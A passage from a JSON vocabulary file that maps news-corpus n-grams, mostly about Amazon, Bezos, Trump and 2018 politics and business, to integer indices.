ravi": 80632, "says memphis": 80633, "rice bowl": 80634, "news alert": 80635, "billion international": 80636, "defangs nuclear": 80637, "companies cited": 80638, "moment": 80639, "various stages": 80640, "unstoppable": 80641, "playbook family": 80642, "inhabitants grisly": 80643, "old working": 80644, "apparently started": 80645, "assure drinking": 80646, "cupp slams": 80647, "chuckles": 80648, "mainstream aoc": 80649, "president economic": 80650, "malinowski high": 80651, "4368": 80652, "included message": 80653, "parul": 80654, "routinely used": 80655, "comcast warren": 80656, "tuition handed": 80657, "null img_reference_name": 80658, "service increased": 80659, "brands alike": 80660, "known practice": 80661, "stop special": 80662, "news group": 80663, "infrastructure china": 80664, "enquirer faces": 80665, "remaining freighters": 80666, "bought stock": 80667, "kohn": 80668, "president washington": 80669, "fight trump": 80670, "maria angeles": 80671, "germany alligator": 80672, "monolithic": 80673, "bankruptcies defrauded": 80674, "kiar": 80675, "fund provides": 80676, "risk classification": 80677, "pubgversary": 80678, "managing 100": 80679, "2018 online": 80680, "reported sluggish": 80681, "deal did": 80682, "potentially long": 80683, "organization chief": 80684, "raises 2018": 80685, "china rock": 80686, "giving lots": 80687, "undefined nextplay": 80688, "286": 80689, "gushes": 80690, "email sent": 80691, "mehic ben": 80692, "james bennet": 80693, "oxygen": 80694, "term environment": 80695, "ads": 80696, "ipt": 80697, "taking ideological": 80698, "justice trade": 80699, "bought 826": 80700, "smarsh scribner": 80701, "discernable long": 80702, "cbsnews": 80703, "big feet": 80704, "launch trump": 80705, "strategic influence": 80706, "best hope": 80707, "developing rocket": 80708, "raised million": 80709, "ponging": 80710, "post native": 80711, "hypotheek": 80712, "wildfire 2018": 80713, "present risks": 80714, "banks today": 80715, "press later": 80716, "liveable": 80717, "warranted help": 80718, "amazon homecoming": 80719, "origin bezos": 80720, "amazon hasty": 80721, "serial liar": 80722, "insider ignition": 80723, "hardware sales": 80724, "mean": 80725, "national researcher": 80726, "retail strategy": 80727, "want summary": 80728, "jarrett jarrett": 80729, "internal management": 80730, "thesubcommittee chair": 80731, "incredibly disciplined": 80732, "unflattering sections": 80733, "basically able": 80734, "incessant phone": 80735, "weird": 80736, "similar cross": 80737, "utah mair": 80738, "employment gains": 80739, "video based": 80740, "ihkopoyqzz donald": 80741, "demands employees": 80742, "damaging issue": 80743, "ss officer": 80744, "maximum donations": 80745, "matt rourke": 80746, "732": 80747, "barneys": 80748, "limited electricity": 80749, "main feature": 80750, "haines": 80751, "china fell": 80752, "major challenges": 80753, "means leveraging": 80754, "status 1062486469602766848": 80755, "rqxskzjuly": 80756, "media headlineposttext": 80757, "dominique": 80758, "philbin": 80759, "bs_link link": 80760, "retail deals": 80761, "licenses subject": 80762, "labor rate": 80763, "oil companies": 80764, "brand initiatives": 80765, "branded media": 80766, "politician": 80767, "voor alle": 80768, "question chose": 80769, "counterfeits trump": 80770, "culturally": 80771, "steep rise": 80772, "insatiable appetite": 80773, "california democratic": 80774, "elevated tensions": 80775, "does insider": 80776, "company decided": 80777, "anonymity amazon": 80778, "washington crisis": 80779, "week stating": 80780, "microsoft napster": 80781, "created distraction": 80782, "companies labor": 80783, "cosmo": 80784, "sharpd0g": 80785, "nasdaq nfbk": 80786, "cfra analyst": 80787, "jo marie": 80788, "tech predictions": 80789, "quietly political": 80790, "dollars day": 80791, "fresh capital": 80792, "little wrong": 80793, "injects": 80794, "markets felt": 80795, "revealed steamy": 80796, "working condition": 80797, "subversive modern": 80798, "lower potential": 80799, "defendant actions": 80800, "occurs": 80801, "estate services": 80802, "amazon films": 80803, "versus analysts": 80804, "armour nyse": 80805, "fair lyft": 80806, "subsections world": 80807, "bezos billions": 80808, "glob": 80809, "need abide": 80810, "include penn": 80811, "war memorial": 80812, "powerful gatekeepers": 80813, "vaccine directly": 80814, "republican turnout": 80815, "vile political": 80816, "bed": 80817, "instant bag": 80818, "american immigrants": 80819, "submit plans": 80820, "humanitarian aid": 80821, "norms important": 80822, "california men": 80823, "1992 google": 80824, "say gerald": 80825, "earns": 80826, "fec": 80827, "complicated question": 80828, "valerie volcovici": 80829, "drug offender": 80830, "fairly applied": 80831, "observer": 80832, "mcclatchy newspapers": 80833, "negative network": 80834, "cutthroat nature": 80835, "summaries": 80836, "launched kindergarten": 80837, "economic damage": 80838, "remote lake": 80839, "trump paying": 80840, "evil bigot": 80841, "watching": 80842, "thought process": 80843, "signatures": 80844, "hour later": 80845, "feffer author": 80846, "spiralled": 80847, "senior corporate": 80848, "wrong omid": 80849, "price keeps": 80850, "shutdown early": 80851, "2019 season": 80852, "neutral space": 80853, "redding": 80854, "short presentations": 80855, "performance cross": 80856, "pundit scottie": 80857, "balzer bray": 80858, "food producers": 80859, "performance year": 80860, "people rely": 80861, "homeland security": 80862, "meuller": 80863, "camarda fincl": 80864, "promote paid": 80865, "amazon reference": 80866, "adam best": 80867, "proposed academy": 80868, "competitors strongly": 80869, "just separate": 80870, "boycottamazon pjnet": 80871, "says don": 80872, "disorganized mish": 80873, "wine industry": 80874, "media officers": 80875, "apple machine": 80876, "emailed comments": 80877, "2006": 80878, "new developing": 80879, "wasn forthcoming": 80880, "keeps sprinting": 80881, "solalinde": 80882, "ecuador peru": 80883, "human diploid": 80884, "qsb6xijujc": 80885, "amazon proof": 80886, "bodily items": 80887, "referencing department": 80888, "join seattle": 80889, "sending text": 80890, "book alleges": 80891, "cigna stock": 80892, "billion day": 80893, "trump work": 80894, "airbus competitiveness": 80895, "union town": 80896, "malek socially": 80897, "trump closest": 80898, "global figure": 80899, "counseling services": 80900, "magli": 80901, "ivanka shoe": 80902, "stress resulting": 80903, "washington recently": 80904, "hume karl": 80905, "discouraged newspapers": 80906, "x1 srcdoc": 80907, "media marketing": 80908, "eu parliament": 80909, "alibaba better": 80910, "ferrari": 80911, "resist pressure": 80912, "jill lawless": 80913, "bystander": 80914, "work saying": 80915, "site similar": 80916, "kyo": 80917, "incessently": 80918, "qsr": 80919, "human female": 80920, "undercharging amazon": 80921, "reads james": 80922, "foxa foxa": 80923, "lyons state": 80924, "gmt democrats": 80925, "52billion 41billion": 80926, "boycott movement": 80927, "boycottamazon washingtonpost": 80928, "gcc apple": 80929, "previously seen": 80930, "twin": 80931, "ago upended": 80932, "firm mckinley": 80933, "gamification": 80934, "taxes donald": 80935, "500 2018": 80936, "scuba": 80937, "culture recipes": 80938, "service": 80939, "nyse mhk": 80940, "nation wealth": 80941, "story does": 80942, "latest bombshells": 80943, "1980s led": 80944, "jay hernandez": 80945, "energized": 80946, "downstate region": 80947, "waters right": 80948, "distractions": 80949, "police sgt": 80950, "stop crying": 80951, "abuser list": 80952, "style section": 80953, "breakthrough miami": 80954, "logistics background": 80955, "container load": 80956, "encourage congress": 80957, "supports president": 80958, "america future": 80959, "disastrous": 80960, "tax base": 80961, "canned": 80962, "ap latest": 80963, "having negative": 80964, "workshop": 80965, "rebels clinch": 80966, "just bloomberg": 80967, "thomas cromwell": 80968, "previous operations": 80969, "clintons did": 80970, "republican took": 80971, "spearheading campaign": 80972, "kokonas micah": 80973, "impress friends": 80974, "including cross": 80975, "offering crucial": 80976, "time hanging": 80977, "turned young": 80978, "threatened legal": 80979, "engine testing": 80980, "economists polled": 80981, "educated consumers": 80982, "chosen locations": 80983, "fnz9k4mw10": 80984, "fine amazon": 80985, "amzn nasdaq": 80986, "stitch fix": 80987, "york county": 80988, "delegating announcements": 80989, "factset": 80990, "img_tile_override_imageref null": 80991, "gore trump": 80992, "security package": 80993, "service vet": 80994, "speaker nancy": 80995, "headstart": 80996, "profitable way": 80997, "newspaper criticized": 80998, "glean": 80999, "600 billion": 81000, "new ag": 81001, "appraiser broward": 81002, "using food": 81003, "existent consumer": 81004, "tightest job": 81005, "axe": 81006, "stock nasdaq": 81007, "ago nancy": 81008, "unsurprising observation": 81009, "incorporated holds": 81010, "receives fda": 81011, "informing": 81012, "jennifer kay": 81013, "issues vote": 81014, "privatization buried": 81015, "teddy": 81016, "tougher antitrust": 81017, "legislation pointedly": 81018, "slowest growth": 81019, "advertising expanded": 81020, "2019 debut": 81021, "separating migrant": 81022, "ceo phone": 81023, "rips lawyers": 81024, "75th": 81025, "socialist trump": 81026, "wearing": 81027, "1tn valuation": 81028, "favorably compared": 81029, "cap regulators": 81030, "gpa despite": 81031, "news weekend": 81032, "vea": 81033, "mulvaney past": 81034, "attacks brett": 81035, "lizzie": 81036, "checker": 81037, "pushing fake": 81038, "looking dry": 81039, "quality education": 81040, "law enforcements": 81041, "blond locks": 81042, "demographic group": 81043, "messages hours": 81044, "battlegrounds": 81045, "vaccine ingredients": 81046, "data published": 81047, "totake money": 81048, "bolduan just": 81049, "escapes unscathed": 81050, "sooter wrote": 81051, "mcmillon": 81052, "report asserts": 81053, "counterfeit items": 81054, "communication services": 81055, "cnn says": 81056, "market vulnerable": 81057, "equalizer retailers": 81058, "philadelphia letter": 81059, "copr publishers": 81060, "muslims": 81061, "basics diapers": 81062, "important reminder": 81063, "government elevates": 81064, "amazon 703": 81065, "environment secretary": 81066, "rams": 81067, "amazon shadow": 81068, "hq2s won": 81069, "lorre": 81070, "tax burdens": 81071, "prices dip": 81072, "judge": 81073, "houten": 81074, "just towel": 81075, "maxsa website": 81076, "good america": 81077, "rating drone": 81078, "boss euro": 81079, "module second": 81080, "independent entity": 81081, "pay president": 81082, "fore": 81083, "rfp says": 81084, "service large": 81085, "book trumpspeak": 81086, "rush limbaugh": 81087, "giant pick": 81088, "horror film": 81089, "scratches": 81090, "kimmel amazon": 81091, "virginia bald": 81092, "suit argues": 81093, "missiles satellite": 81094, "haberman trump": 81095, "close trump": 81096, "observers amazon": 81097, "months sanders": 81098, "source target": 81099, "house shipping": 81100, "trump hotel": 81101, "boyne novel": 81102, "general currently": 81103, "page turning": 81104, "unbalanced": 81105, "china industrial": 81106, "angering": 81107, "owl owlfirstitem": 81108, "raising money": 81109, "presidents did": 81110, "alps llc": 81111, "broad wave": 81112, "var aa": 81113, "columbia grit": 81114, "cortez cheered": 81115, "platform monopolies": 81116, "ago quarter": 81117, "mnuchin chairman": 81118, "british meal": 81119, "duker freuman": 81120, "post alleging": 81121, "mta currently": 81122, "vikings game": 81123, "beijing begin": 81124, "million million": 81125, "pumpkin posted": 81126, "high expectations": 81127, "resort union": 81128, "office mission": 81129, "fingertips": 81130, "visa worker": 81131, "usually win": 81132, "house opioid": 81133, "misconduct": 81134, "easton ellis": 81135, "amazon shook": 81136, "donors listed": 81137, "reactions elicited": 81138, "managers cvs": 81139, "property law": 81140, "crisis considering": 81141, "trump coincidence": 81142, "extensive resources": 81143, "delivering gut": 81144, "peek good": 81145, "diluted eps": 81146, "conceived": 81147, "shipping firms": 81148, "questions witness": 81149, "people briefed": 81150, "president effort": 81151, "crazy rich": 81152, "james mattis": 81153, "online_services letter": 81154, "really disgusting": 81155, "attention bezos": 81156, "negotiate deals": 81157, "ago allows": 81158, "cover added": 81159, "trump retrains": 81160, "measurement firm": 81161, "critical success": 81162, "management accuse": 81163, "firm boies": 81164, "region following": 81165, "2billion percentage": 81166, "limited newsfile": 81167, "paid staff": 81168, "gecko butt": 81169, "mary nahorniak": 81170, "herman voa": 81171, "prominent opponents": 81172, "winning pumpkin": 81173, "day online": 81174, "postal accountability": 81175, "fortune18": 81176, "emmys zuker": 81177, "journey delivery": 81178, "bezos company": 81179, "roraima": 81180, "year calling": 81181, "insider media": 81182, "squirrel hill": 81183, "actually living": 81184, "reduced vanguard": 81185, "comprise": 81186, "alligator": 81187, "potential partner": 81188, "multinationals withhold": 81189, "identity document": 81190, "drive review": 81191, "false w4w": 81192, "acquired lot": 81193, "eas support": 81194, "bolsonaro plans": 81195, "father otto": 81196, "trump veered": 81197, "mass desecration": 81198, "adventure travel": 81199, "\u014241billion": 81200, "agency requests": 81201, "blog entry": 81202, "similar product": 81203, "enquirer owned": 81204, "median employee": 81205, "including selfies": 81206, "kurosawa rashomon": 81207, "unrelenting coverage": 81208, "story ways": 81209, "clip phil": 81210, "men really": 81211, "ferry": 81212, "oil mixed": 81213, "adults taking": 81214, "real damage": 81215, "stark question": 81216, "borders shelby": 81217, "inspired akira": 81218, "brazil largest": 81219, "president kunal": 81220, "marketing budget": 81221, "dynastic": 81222, "christian vasquez": 81223, "eucalyptus tea": 81224, "publisher responds": 81225, "house program": 81226, "makes decisions": 81227, "lakes": 81228, "samsung settled": 81229, "doing wise": 81230, "c5q": 81231, "firm roughly": 81232, "pentagon papers": 81233, "hand": 81234, "coalitions": 81235, "fake iphone": 81236, "delivery week": 81237, "tells john": 81238, "ceo warren": 81239, "capitol allies": 81240, "help hide": 81241, "percio": 81242, "rosenstein responded": 81243, "spicer extensive": 81244, "acosta hard": 81245, "targeting cnn": 81246, "large new": 81247, "reportedly developing": 81248, "generate billion": 81249, "distinguished restaurant": 81250, "style closer": 81251, "amazon blaming": 81252, "sba contracting": 81253, "merriam webster": 81254, "necessarily pinpoint": 81255, "hl": 81256, "mistreatment employers": 81257, "angry minority": 81258, "anti foreclosure": 81259, "volumes lull": 81260, "hurd coming": 81261, "years writing": 81262, "star tony": 81263, "newsletter yahoofinance": 81264, "administration bi": 81265, "seattle nearly": 81266, "rodriguez unite": 81267, "staff walked": 81268, "help prosecute": 81269, "wrzesniewski": 81270, "story matthew": 81271, "requiring review": 81272, "quickly dawns": 81273, "chants": 81274, "funding debt": 81275, "helium": 81276, "addclass": 81277, "education healthcare": 81278, "seasoned master": 81279, "wall agrees": 81280, "advocate race": 81281, "amid increasingly": 81282, "tdopp bloomberg": 81283, "fields regardless": 81284, "publicly trolling": 81285, "sector added": 81286, "tackling google": 81287, "words related": 81288, "senate office": 81289, "nwdc showed": 81290, "plus yields": 81291, "atmosphere fearful": 81292, "adchoices adchoices": 81293, "best halloween": 81294, "direct": 81295, "important locales": 81296, "self initiated": 81297, "actions cited": 81298, "pecker isn": 81299, "differing rules": 81300, "fathers hoped": 81301, "prowess": 81302, "modern civil": 81303, "hopper hbo": 81304, "ran controversial": 81305, "chiefs director": 81306, "wray appeared": 81307, "dramatic flip": 81308, "brazilian president": 81309, "separately state": 81310, "code samples": 81311, "markers": 81312, "unitedstates": 81313, "facebook tad": 81314, "world beating": 81315, "additional tariffs": 81316, "sanders comments": 81317, "whitefish montana": 81318, "dayssincepubdate": 81319, "coastal flooding": 81320, "smokehouse": 81321, "notable retailers": 81322, "bezos hard": 81323, "disaster capitalism": 81324, "affects millions": 81325, "iran just": 81326, "woke": 81327, "activists blame": 81328, "prosperity gentrification": 81329, "company saw": 81330, "125 billion": 81331, "survey half": 81332, "elected ydanis": 81333, "travels": 81334, "fedex declined": 81335, "thriller scribner": 81336, "apparently left": 81337, "reporter stated": 81338, "service lost": 81339, "article netflix": 81340, "doj donald": 81341, "story includes": 81342, "biological": 81343, "maga vanity": 81344, "times macron": 81345, "trump del": 81346, "court recent": 81347, "concerted": 81348, "answer number": 81349, "miami attracting": 81350, "satirical card": 81351, "random": 81352, "brand inventory": 81353, "large scales": 81354, "amazon entry": 81355, "united city": 81356, "minority owned": 81357, "dovetails": 81358, "jagodzinski": 81359, "trampoline": 81360, "thrilling post": 81361, "include negotiate": 81362, "jones day": 81363, "secondary story": 81364, "time toeing": 81365, "credit andrew": 81366, "fingers pretty": 81367, "recusal": 81368, "smith added": 81369, "company stop": 81370, "create critical": 81371, "lawsuit obama": 81372, "eventually lifted": 81373, "history tweeted": 81374, "republican operatives": 81375, "question territory": 81376, "arrested expert": 81377, "business segment": 81378, "immigrant outspokenness": 81379, "industry advocacy": 81380, "thank god": 81381, "thrive encompasses": 81382, "present threats": 81383, "despite voters": 81384, "commends alibaba": 81385, "analytics premium": 81386, "thurmer": 81387, "camera search": 81388, "heterosexual new": 81389, "job including": 81390, "tj maxx": 81391, "deputy attorneygeneral": 81392, "tall ficus": 81393, "influential leaders": 81394, "agent person": 81395, "basic right": 81396, "jacob snow": 81397, "increasingly wary": 81398, "rux martin": 81399, "seoul risks": 81400, "afreshman": 81401, "cnet techcrunch": 81402, "recent backlash": 81403, "repeatedly hit": 81404, "agency prompting": 81405, "usual posted": 81406, "british americans": 81407, "huber": 81408, "ronanfarrow": 81409, "war battlefield": 81410, "fairly quickly": 81411, "simply withdrew": 81412, "fast food": 81413, "people reason": 81414, "fato": 81415, "cold snap": 81416, "cum garbage": 81417, "interview russia": 81418, "years long": 81419, "holding town": 81420, "team according": 81421, "data seen": 81422, "private package": 81423, "bears posted": 81424, "atkinson little": 81425, "nightlife": 81426, "slams mainstream": 81427, "favale imageurl": 81428, "reporters rosalind": 81429, "good chance": 81430, "lambasted postmaster": 81431, "feistier cars": 81432, "rightfulauthority": 81433, "brain cells": 81434, "msnbc interview": 81435, "ken langone": 81436, "mentally deranged": 81437, "hemisphere leaders": 81438, "checker president": 81439, "630": 81440, "york followed": 81441, "brasil feedback": 81442, "season pretty": 81443, "ubhi describes": 81444, "liberals used": 81445, "new signs": 81446, "yerepouni daily": 81447, "deserves pulitzer": 81448, "favorite parts": 81449, "corporate jobs": 81450, "pix11news amazon": 81451, "bezoses coming": 81452, "ideo ceo": 81453, "enquirer revealed": 81454, "weekend everybody": 81455, "believes farmers": 81456, "a5q h6a": 81457, "government approval": 81458, "general ex": 81459, "joan": 81460, "wing having": 81461, "jaloe": 81462, "underperformance alternative": 81463, "geng shuang": 81464, "jessica taylor": 81465, "avni": 81466, "world sixth": 81467, "commerce industry": 81468, "published posthumously": 81469, "trump protest": 81470, "elected president": 81471, "ask trump": 81472, "largest passenger": 81473, "motogp press": 81474, "taxpayers trump": 81475, "ros\u00e9": 81476, "partisan party": 81477, "ent jeff": 81478, "crowded race": 81479, "statements discussed": 81480, "dwallbank bloomberg": 81481, "news data": 81482, "digitalspy": 81483, "elected congresswomen": 81484, "airports": 81485, "valley town": 81486, "gmb collected": 81487, "company deserves": 81488, "various levels": 81489, "different landscape": 81490, "walmart recent": 81491, "administrative regulatory": 81492, "trump false": 81493, "shares marathon": 81494, "couple statement": 81495, "cybersecurity investorplace": 81496, "sets bad": 81497, "smith light": 81498, "company people": 81499, "politico congress": 81500, "comeforward": 81501, "given mysterious": 81502, "just wealth": 81503, "strong dislike": 81504, "allow": 81505, "dijk": 81506, "men formal": 81507, "senior policy": 81508, "genuine push": 81509, "reddit reveals": 81510, "shouldered": 81511, "buzz60 days": 81512, "aoc ran": 81513, "vision values": 81514, "amazing feature": 81515, "huge challenges": 81516, "buy real": 81517, "package overcoming": 81518, "funding startup": 81519, "snipes replaced": 81520, "feel good": 81521, "fading light": 81522, "ipsos": 81523, "anodyne": 81524, "599": 81525, "e4e adventori": 81526, "verhoeven toddwine": 81527, "election mccain": 81528, "making purchases": 81529, "sister witches": 81530, "country scrambling": 81531, "drug helped": 81532, "style security": 81533, "culturally relevant": 81534, "barkley": 81535, "fortune reuters": 81536, "suozzi ddouglaston": 81537, "flipboard magazine": 81538, "owning marketplace": 81539, "review commission": 81540, "opinion don": 81541, "post headline": 81542, "oswald": 81543, "colderice lawson": 81544, "ubs estimates": 81545, "microvms firecracker": 81546, "jedi says": 81547, "human health": 81548, "publishing alleged": 81549, "president isgoing": 81550, "shipping burden": 81551, "latest twitter": 81552, "national prestige": 81553, "retailers including": 81554, "dropbox ceo": 81555, "star shooting": 81556, "certainly interesting": 81557, "deftly steps": 81558, "turn lower": 81559, "susquehanna 2018": 81560, "nichols": 81561, "gathering": 81562, "intra day": 81563, "bezos takes": 81564, "new england": 81565, "completed rosenstein": 81566, "kahn": 81567, "deloitte amazon": 81568, "film tv": 81569, "person ny": 81570, "estate investors": 81571, "antoinette": 81572, "business connection": 81573, "harvard": 81574, "tapes president": 81575, "antitrust silicon": 81576, "reporters navarro": 81577, "york victory": 81578, "regularly lashes": 81579, "nearly weeks": 81580, "palantir surveillance": 81581, "plus infrastructure": 81582, "labor view": 81583, "assets": 81584, "markets amazon": 81585, "271": 81586, "new online": 81587, "centering": 81588, "continue walking": 81589, "country dhl": 81590, "person addressed": 81591, "bookstores nationwide": 81592, "trump dirty": 81593, "attorneygeneral rod": 81594, "landing amazon": 81595, "amazon axios": 81596, "platform": 81597, "openly racist": 81598, "braunstein": 81599, "amazon echoes": 81600, "overall stability": 81601, "acosta bad": 81602, "somodevilla beverly": 81603, "profit series": 81604, "koch political": 81605, "word bailout": 81606, "separate business": 81607, "placing increasing": 81608, "feels omnipresent": 81609, "obrador claimed": 81610, "facebook comments": 81611, "miniaturist": 81612, "democrats yang": 81613, "entry according": 81614, "countries": 81615, "messy stuff": 81616, "secure funding": 81617, "wirecutter": 81618, "chinese language": 81619, "shopping business": 81620, "regional talent": 81621, "book sold": 81622, "unveiling program": 81623, "announced nbc": 81624, "insider paige": 81625, "hurtful": 81626, "ballot box": 81627, "hasn flipped": 81628, "average tax": 81629, "philosophically opposed": 81630, "customer aligns": 81631, "free home": 81632, "cement ami": 81633, "easier consider": 81634, "commerce portal": 81635, "national cemetery": 81636, "saved truckloads": 81637, "hatchbacks": 81638, "trillion line": 81639, "time subscribe": 81640, "oracle larry": 81641, "businessman likes": 81642, "political tea": 81643, "cut ties": 81644, "officials tell": 81645, "meager": 81646, "democratic presidential": 81647, "makeup bag": 81648, "restaurant review": 81649, "maryland lavish": 81650, "filed fair": 81651, "think facebook": 81652, "beholden": 81653, "taxpayers saying": 81654, "secret agreements": 81655, "cut price": 81656, "fellow board": 81657, "welcome amazon": 81658, "threatened wider": 81659, "leaks actually": 81660, "delivery winning": 81661, "build": 81662, "corporate backside": 81663, "singer notorious": 81664, "large share": 81665, "portfolio old": 81666, "police second": 81667, "pretty strong": 81668, "breckman monk": 81669, "point maloney": 81670, "launch small": 81671, "revenue picture": 81672, "food sector": 81673, "capital globenewswire": 81674, "kaitlyn bristowe": 81675, "say russia": 81676, "whatsappshareelement undefined": 81677, "giant change": 81678, "thought hard": 81679, "uncovered wall": 81680, "facebook apple": 81681, "positive reviews": 81682, "sanders referred": 81683, "federation express": 81684, "negative review": 81685, "rayasam ben": 81686, "did yesterday": 81687, "search engine": 81688, "great opponent": 81689, "government uses": 81690, "american football": 81691, "french viking": 81692, "brothers harriman": 81693, "law stresses": 81694, "2012 macotakara": 81695, "great difficulty": 81696, "hit milestone": 81697, "fined guess": 81698, "best value": 81699, "burn filed": 81700, "address violence": 81701, "group index": 81702, "platform twitch": 81703, "information amazon": 81704, "lost net": 81705, "source anna": 81706, "amzn earnings": 81707, "dual labor": 81708, "analysts scored": 81709, "crops": 81710, "david vernon": 81711, "hobbs act": 81712, "based social": 81713, "temperatures police": 81714, "intensly focus": 81715, "untraceable": 81716, "possible perpetrator": 81717, "hall event": 81718, "donors contributed": 81719, "unflattering photo": 81720, "broadbandbreakfast explained": 81721, "spotless mind": 81722, "rabbi": 81723, "good products": 81724, "greenfield foreign": 81725, "criticizes trump": 81726, "box trump": 81727, "significantly underrepresented": 81728, "prestigious award": 81729, "including possible": 81730, "expected economic": 81731, "ratings trump": 81732, "film": 81733, "promised brexit": 81734, "healthcare initiative": 81735, "production hell": 81736, "ground rules": 81737, "bolster trump": 81738, "sold twitter": 81739, "amazon bringing": 81740, "initially total": 81741, "make france": 81742, "national drug": 81743, "dvr storage": 81744, "web involving": 81745, "fibonacci retracement": 81746, "campaign committee": 81747, "phillips": 81748, "pillaged": 81749, "currently number": 81750, "care purchases": 81751, "news america": 81752, "data recovered": 81753, "wannabe playboy": 81754, "near washington": 81755, "stagnant": 81756, "stocks fall": 81757, "pennink": 81758, "congress enacted": 81759, "demand showtime": 81760, "retailer says": 81761, "reaffirms": 81762, "axios article": 81763, "fray chastising": 81764, "schemes airs": 81765, "snowfoller": 81766, "citing progress": 81767, "consumers offline": 81768, "portray mueller": 81769, "flips arizona": 81770, "tiny hands": 81771, "incentives amazon": 81772, "separate product": 81773, "ownership moser": 81774, "obama prosecuted": 81775, "story heineken": 81776, "siminoff ceo": 81777, "addresses members": 81778, "time wasted": 81779, "paying": 81780, "friendly national": 81781, "abolitionist work": 81782, "ignition 2018": 81783, "marques": 81784, "immigrant activists": 81785, "allegedly obsessive": 81786, "critical opportunity": 81787, "workers 150": 81788, "provocative new": 81789, "valuation shares": 81790, "antitrust theory": 81791, "asked amazon": 81792, "unsteady critter\u0430could": 81793, "home maybe": 81794, "pscnb": 81795, "prized hq2": 81796, "term risk": 81797, "congressional inquiries": 81798, "200 million": 81799, "michelle stevens": 81800, "issue media": 81801, "net total": 81802, "aboutthis": 81803, "fasting indicates": 81804, "customs declaration": 81805, "enquirer delivers": 81806, "particularly fresh": 81807, "dominion": 81808, "bunny james": 81809, "citywide office": 81810, "forwarded": 81811, "uniforms geekwire": 81812, "stoic boss": 81813, "individually company": 81814, "applauding": 81815, "senior foreign": 81816, "right purchasing": 81817, "met melania": 81818, "african swine": 81819, "fuechtener": 81820, "soy transport": 81821, "mainly centered": 81822, "opinion held": 81823, "2018 newspaper": 81824, "tax pay": 81825, "headlines right": 81826, "island waterfront": 81827, "having catchy": 81828, "instillations bob": 81829, "amazon pulls": 81830, "true cult": 81831, "gradations": 81832, "dumps nyc": 81833, "subtly called": 81834, "price right": 81835, "c_137951892 htm": 81836, "geologist": 81837, "vicky ward": 81838, "figure skater": 81839, "doubts deal": 81840, "computed results": 81841, "439 large": 81842, "adrenaline fueled": 81843, "political narratives": 81844, "2018 news": 81845, "sleeves": 81846, "nicolas": 81847, "visit trump": 81848, "paul begala": 81849, "bad ride": 81850, "past quarter": 81851, "quake toll": 81852, "stock plunging": 81853, "xenophobic political": 81854, "cards close": 81855, "mabel grammer": 81856, "visiting farms": 81857, "offer customers": 81858, "ford plant": 81859, "recipient working": 81860, "institutions backed": 81861, "people wouldn": 81862, "shares finished": 81863, "nancy cook": 81864, "complicated web": 81865, "union slapped": 81866, "white caucasian": 81867, "movement roseanne": 81868, "blindsided south": 81869, "headline amazon": 81870, "months macquarie": 81871, "acquire meal": 81872, "localities": 81873, "contending google": 81874, "post runs": 81875, "dankest memes": 81876, "wacky ranting": 81877, "dubai demand": 81878, "transportation cars": 81879, "plutocrats don": 81880, "weak incorrect": 81881, "party piketty": 81882, "different customers": 81883, "consist": 81884, "o4 return": 81885, "biggest drop": 81886, "data centres": 81887, "various": 81888, "hour benefit": 81889, "predominant": 81890, "hardwired": 81891, "trumps taxes": 81892, "sagged": 81893, "journalists opponents": 81894, "expected revenue": 81895, "washington government": 81896, "federal assistance": 81897, "protections restrained": 81898, "cds online": 81899, "greater share": 81900, "96b": 81901, "repeatedly denounced": 81902, "damage control": 81903, "establish stronger": 81904, "day mass": 81905, "psychotic": 81906, "boost shipping": 81907, "laurel": 81908, "beelzebezos": 81909, "restaurant eat": 81910, "substantial numbers": 81911, "sununu work": 81912, "personal disdain": 81913, "werneck ibama": 81914, "inevitability": 81915, "scalise louisiana": 81916, "multiple conversations": 81917, "hires contractors": 81918, "communication withamazon": 81919, "planet richest": 81920, "pass following": 81921, "founder sexting": 81922, "gallery": 81923, "metric tons": 81924, "development win": 81925, "trading positions": 81926, "gold box": 81927, "powerful individual": 81928, "jpg tilefeatureimagex2": 81929, "reserve cain": 81930, "taking page": 81931, "years 2018": 81932, "gallery archive": 81933, "rep nancy": 81934, "organizations led": 81935, "president operates": 81936, "account american": 81937, "including medication": 81938, "pharr texas": 81939, "year eventually": 81940, "away reporter": 81941, "boss amazon": 81942, "teachers working": 81943, "trump drain": 81944, "steven osinski": 81945, "hmmm pay": 81946, "trump walked": 81947, "measures including": 81948, "warfare thinking": 81949, "pic extortion": 81950, "slower app": 81951, "trade feel": 81952, "budget year": 81953, "merger type": 81954, "national trading": 81955, "investigating spotify": 81956, "bachelorette": 81957, "interesting rung": 81958, "889": 81959, "effects": 81960, "create 600": 81961, "packages locally": 81962, "wikipedia wikipedia": 81963, "smartphone technologies": 81964, "newly acquired": 81965, "hands asked": 81966, "political moderation": 81967, "fear invoking": 81968, "aftermarket": 81969, "saw puzzle": 81970, "nvda announced": 81971, "rent just": 81972, "imagine investors": 81973, "story apples": 81974, "gabby": 81975, "porowski plans": 81976, "james petition": 81977, "house order": 81978, "probe 2018": 81979, "fee revenue": 81980, "employees warnings": 81981, "encouragement": 81982, "hard decisions": 81983, "areas communities": 81984, "reps": 81985, "superstate": 81986, "receipts exceed": 81987, "craf": 81988, "inc_notepad null": 81989, "elvis duran": 81990, "subway house": 81991, "trump shaved": 81992, "mayor mayor": 81993, "women stories": 81994, "effective anti": 81995, "service reportedly": 81996, "baseball": 81997, "amazon photoshop": 81998, "largest grocer": 81999, "trump gift": 82000, "vermont joins": 82001, "retailers saul": 82002, "rajneesh": 82003, "flag outside": 82004, "house cuseum": 82005, "understand particularly": 82006, "gained": 82007, "caught crossing": 82008, "continue supporting": 82009, "recognition capabilities": 82010, "suggested privatization": 82011, "noteworthy explore": 82012, "vacation togetherthat": 82013, "outlets report": 82014, "metz": 82015, "procurement contracts": 82016, "soho mailers": 82017, "harrington": 82018, "z4a return": 82019, "enterprises exist": 82020, "latino": 82021, "aggressively expanded": 82022, "carvajal": 82023, "sto": 82024, "congressmembers": 82025, "sue pecker": 82026, "400m": 82027, "heated confrontation": 82028, "amazon pedal": 82029, "nextplay": 82030, "evidence shows": 82031, "ongoing labor": 82032, "tlc": 82033, "warehouse chain": 82034, "plutocrat": 82035, "possible cost": 82036, "past business": 82037, "constant attack": 82038, "adjusted income": 82039, "reverses": 82040, "isshowdetailsspanexists": 82041, "2020 amazon": 82042, "staggering degree": 82043, "statement algorithmically": 82044, "called obsessive": 82045, "biggest nationwide": 82046, "yo": 82047, "management 8217": 82048, "nate lanxon": 82049, "chairman jerome": 82050, "near post": 82051, "decisions pro": 82052, "ibm announcing": 82053, "colleagues depicted": 82054, "accesswire": 82055, "203 billion": 82056, "courts agree": 82057, "started writing": 82058, "weiss": 82059, "rate held": 82060, "fed influence": 82061, "arabia venezuela": 